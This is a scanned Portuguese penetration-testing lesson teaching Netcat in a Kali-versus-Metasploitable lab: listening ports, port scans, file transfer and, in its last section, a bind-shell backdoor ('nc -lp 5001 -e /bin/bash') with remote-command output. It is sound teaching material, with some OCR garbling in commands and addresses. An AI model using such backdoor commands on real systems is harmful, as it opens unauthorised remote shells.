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Ol4 turma, no teste de penetracao devere-
mos explorar as vulnerabilidades. Para isso, al-
gumas ferramentas sao importantes, entre elas
temos o Netcat. Ela poderd ser utilizada para
abrir conexdes TCP ou UDP, transferir dados
(inclusive cédigos maliciosos) e executar coman-
dos de forma remota. Na aula de hoje, iremos
aprender e conhermos esta ferramenta, suas
funcionalidades, sintaxe de comando. Iremos
ainda fazermos exemplos praticos de utilizacao
focados no dia a dia do administrador de redes
e/ou especialista em seguranga.

Configurando o Ambiente

Para estudarmos estes conceitos e ferramen-
tas, e para as aulas posteriores, iremos utilizar
duas maquinas virtuais (Kali Linux e Metas-
ploit). A Metasploit serd a maquina que iremos
utilizar como alvo e o Kali Linux serd utilizado
para gerarmos os ataques.

Internet -
(IFRN)

Kali Metasploit
(Atacante) (Alvo)

O Metasploit table é um ambiente de
teste seguro desenvolvido para realizarmos
testes de penetracao e pesquisas de segu-
ranga. A imagem do metasploitable estd
disponivel no site da Rapid 7 ou no Sour-
ceforge (http://sourceforge.net/projects/
metasploitable/files/Metasploitable2/).

Depois de baixar o arquivo zip, extraia os
arquivos para uma pasta. Terd um arquivo cha-
mado Metasploittable.vmdk que trata de um
disco virtual com o sistema. Para utiliza-lo no
VirtualBox iremos criar uma maquina Linux 64
bits. Depois iremos atribui-la a uma meméria
RAM de 2048 MB.

Na sequéncia serd necessario informar que
serd utilizado um disco rigido existente (“Metas-
ploittable.vindk”). Selecione Utilizar um disco
virtual existente, acrecente o disco do Metas-
ploittable e clique em criar.

O nome de usuério e a senha padrao sao:

Usudrio: msfadmin
Senha: msfadmin

& Criar Maquina Virtual

Disco rigido

Se vocé quiser, pode acrescentar um disco rigido virtual a esta maguina virtual, Vocé
pode acrescentar um arquivo de disco rigido virtual na lista ou selecionar outro local
utilizando o icone de pasta.

Se vocé deseja uma configuracio de armazenamento mais complexa, pode pular este
passo e fazer as mudancas manualmente na configuragdo da maquina assim que ela
terminar de ser criada,

Recomenda-se utilizar um disco rigide de 8,00 GB.

() N&o acrescentar um disco rigido virtual

() Criar um nove disco rigido virtual agora

© Utilizar um disco rigido virtual existents

Metasploitable. vmdk (Mormal, 8,00 GE) - [a

Criar Cancelar

Netcat

O Netcat, criado em 2004 pelo desenvol-
vedor conhecido como Hobbit, é uma simples
ferramenta de rede bastante ttil e versatil utili-
zada para ler e escrever dados através de redes
utilizando a pilha de protocolos TCP/IP. Ele
pode ser utilizado para os mais variados servi-
¢os, desde testes de conectividade a seguranca
da rede. Esta ferramenta prové acesso as prin-
cipais funcionalidades:

e Conexoes de saida e entrada, TCP ou
UDP;

e Port scanning, de modo aleatdrio;

e Transferéncia de dados;

¢ Envio de comandos remotos;

e Tem suporte a SSL, proxy, IPv6, Telnet;

e Checagem de DNS, entre outros.

O Netcat é totalmente gratuito, distri-
buido sob a licenca GNU General Public Li-
cense (GPL), podendo ser baixado para Li-
nux, FreeBSD, NetBSD, SunOS/Solaris, Mac
OS X, Windows, entre outros, no site oficial
(http://netcat.sourceforge.net). Ele tam-
bém estd disponivel na maioria dos repositérios
de softwares de sistemas Unix-like.



O Netcat ja vem instalado por padrao na
distribuicao Kali Linux. Na sequéncia iremos
aprender a utiliza-las.

Sintaxe Basica

A sintaxe é bem simples e pode ser obser-
vada a seguir.

nc [-options] <host> port[s]
Onde:

e nc: Nome do comando executdavel em
shell do Netcat;

-options : Pardmetros e opgoes passadas ao co-
mando, como listen, tcp, etc.;

o <host>: IP ou nome do host a ser conec-
tado;

e port[s]: Porta TCP/UDP utilizada para
0 servico.

Abrindo Portas

O Netcat pode auxiliar ao administrador
de redes para testar a conectividade de servicos
e regras de firewall. Ele tem a capacidade de
entrar em modo LISTEN (-1) em qualquer soc-
ket ou porta (-p) do sistema, conforme pode ser
visto a seguir:

sudo nc -lvp 88

Na sequéncia é mostrado a abertura da
porta 88 TCP e, posteriormente, o0 nmap mos-
trando a respectiva porta aberta.

msfadminenetasploitable: homed sudo nc -lup 88

listening on [anyl 88

r—ikali® kali)-[~]

—$ sude 10.0.2.4
Starting Nmap 7.93 ( https://nmap.org ) at 2823-05-14 17:508 EDT
Nmap scan report for 10.8.2.4
Host is up (0.000078s latency).
Not shown: 976 closed tcp ports (reset)
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

88/tcp open kerberos-sec
111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1899/tcp open rmiregistry
1524/tcp open ingreslock
2849/tcp open nfs

2121/tcp open ccproxy-ftp
3386/tcp open mysql

5432/tcp open postgresql
5908/tcp open vnc

6080/tcp open X11

6667/tcp open irc

80@9/tcp open ajpl3

8180/tcp open unknown

MAC Address: 08:00:27:10:62:21 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

.

E importante frisar que em sistemas Li-
nux, apenas o usudrio root pode iniciar servi-
¢os abaixo da porta 1024. Além disso, o Netcat
utiliza o TCP, mas caso queira que seja aberta
uma porta UDP deverd utilizar a opcao -u.

sudo nc -lvpu 88

Caso a porta solicitada esteja sendo utili-
zada, serd apresentado uma mensagem de erro
“Address alredy in use”.

Escaneamento de Portas

O Netcat pode ser utilizado para escanear
portas abertas. O escaneamento verificara o
status de todas as portas no dominio ou ende-
reco IP especificado para determinar se ha um
firewall ou outro mecanismo de bloqueio.

Por exemplo, a baixo um comando de es-
caneamento de porta para um endereco IP nas
porta de 1 a 100.

nc -vnrz IP_alvo 1-100

kali@kali: ~

kali@kali: ~

kali@kali:~$ sudo nc -vnrz 192.168.8.34 1-10@
(UNKNOWN) [192.168.@.34] 22 (ssh) open
kaliagkali:-$ i

Também é possivel utilizar o parametro “-w
3”7, que faz com que o tempo limite de conexao
seja de 3 segundos de inatividade.

Acessando Portas

Agora iremos acessarmos uma porta aberta
utilizando o netcat como cliente de conexao a
outros servidores ou websites. Para utiliza-lo
dessa forma, basta especificar as opg¢oes de host
e porta utilizados.

sudo nc <IP_alvo> <porta>

Para exemplificarmos iremos configurar no
terminal um instancia netcat no Metasploit
para escutar a porta 123.

nc -vlp 123

msfadmin@netasploitable: home5 sudo nc -1lup 123
listening on [anyl 123 ...

10.0.2.15: inverse host lookup failed: Unknown host
conmect to [10.0.2.41 from (UNKNOWN) [19.0.2.151 43182

estow no alvo
digitando no kali




Agora no Kali Linux, iremos iniciar um cli-
ente netcat para conectarmos na porta aberta
123 do alvo.

nc <IP_do_kali> 123

—(kali® kali)-[~]

—4% sudo 18.0.2.4 123
estou no alvo

digitando no kali

Um ponto muito interessante e importante
para os exemplos a seguir é notar que, utili-
zando o Netcat em modo listen e conectando-se
a ele via client mode, qualquer string digitada
na entrada padrao (stdin) do client mode, apa-
recerd na saida padrao (stdout) do Netcat em
Listen, conforme mostrado nas figuras abaixo.
Devido a esse comportamento, muitas vezes
essa funcao é conhecida como Chat Mode, o
que também pode ser utilizado para transmis-
sao de qualquer outro tipo de dados, como sera

abordado em seguida.

Transferéncia de Arquivos

O Netcat pode ser utilizado com comandos
de Pipe e Redirecionamento para a transferén-
cia de arquivos de diversas formas. Por exem-
plo, sera transferido um arquivo qualquer, de
nome ifrn.txt, em texto claro do Kali para o alvo
(Metasploit) que estd requisitando o mesmo,
com o nome de ifrn.txt utilizando comandos Li-
nux e Pipe.

e Méquina 1 (kali): que ird transferir o ar-
quivo.

echo "Macedo Firmino" > ifrn.txt

nc -vlp 5001 < file

r—(kali® kali)-[~

L% sudo nc -lvp 5001 < ifrn.txt

listening on [any] 5001 ...

16.8.2.4: inverse host lookup failed: Unknown host
connect to [1@.0.2.15] from (UNKNOWN) [10.@.2.4] 41724
—{kali® kali)-[~

—$ ifrn.txt
131d1763620425bd5e685d7594a2046d8dfcba®2 ifrn.txt

e Méquina 2 (Alvo): que ird receber o ar-
quivo.

nc ip_maquina_1 5001 > file

Depois que o cliente conectar seré enviado o
arquivo. Depois de um tempo poderemos fechar
a conexao e testarmos se o arquivo foi enviado
corretamente. Para essa avaliacao poderemos
utilizar o comando shalsum, no arquivo original
e na copia.

Se os valores do shalsum forem os mesmos
0s mesmos sao copias perfeitas.

msfadmin@metasploitable:™5 sudo wc 10.0.2.15 5001 > ifrn.txt

msfadmin@metasploitable:™S shalsum ifrn.txt
131d1763620425bd5e685d7594a2046d8df cba®Z  ifrn.txt
msfadmin@metasploitable: ™5 1s

ifrn.txt vulnerable
msfadnin@metasploitable: ™5 _

Executar Comandos Remotamente (Backdoor)

O Netcat possui uma opg¢ao, particular-
mente importante para especialistas em segu-
ranca e pentesting, para inclusao de backdo-
ors (falhas de seguranga), que permite executar
qualquer comando ou script remoto na maquina
alvo. Neste exemplo, ao invés do Netcat exibir
as informagdes na tela em forma de mensagem
serd transferido para o bash do sistema.

e Mdquina 2 (Alvo): no computador alvo,
inicialize a escuta numa determinada
porta (por exemplo, 5001), redirecione a
sua safda para o bash (interpretador de
comandos) e a saida do bash retirecionar
para a conexao aberta no atacante.

sudo nc -1lp 5001 -e /bin/bash

msfadmin@netasploitable: ™S sudo nc —lup 5001 -& sbinsbash
listening on L[anyl 5001 ...
10.0.2.15: inverse host lookup failed: Unknoun host

connect to [10.0.2.41 from (UNKNOWN) [10.0.2.15]1 34164

e Mdquina 1 (Kali): no computador ata-
cante abra uma conexao numa porta
aberta na maquina alvo.

sudo nc -vlp 5000

Uma vez estabelecida a conexao, o atacante
podera enviar comandos para a maquina re-
mota e observar o resultado do mesmo.

—(kali® kali)-[~]
—$ sudo 10.0.2.4 5001
1s

ifrn.txt
vulnerable

el

ls

ftp

msfadmin

service

user

cd user

ls

cd’

1s

ftp

msfadmin

service

user

cd msfadmin

echo teste > macedo.firmino
1s

ifrn. txt
macedo.firmino
vulnerable

-

Atividade

01. Com o Netcat realize os exemplos de utili-
zacao apresentados na aula.

02. Pesquise outras funcionalidades do Netcat.



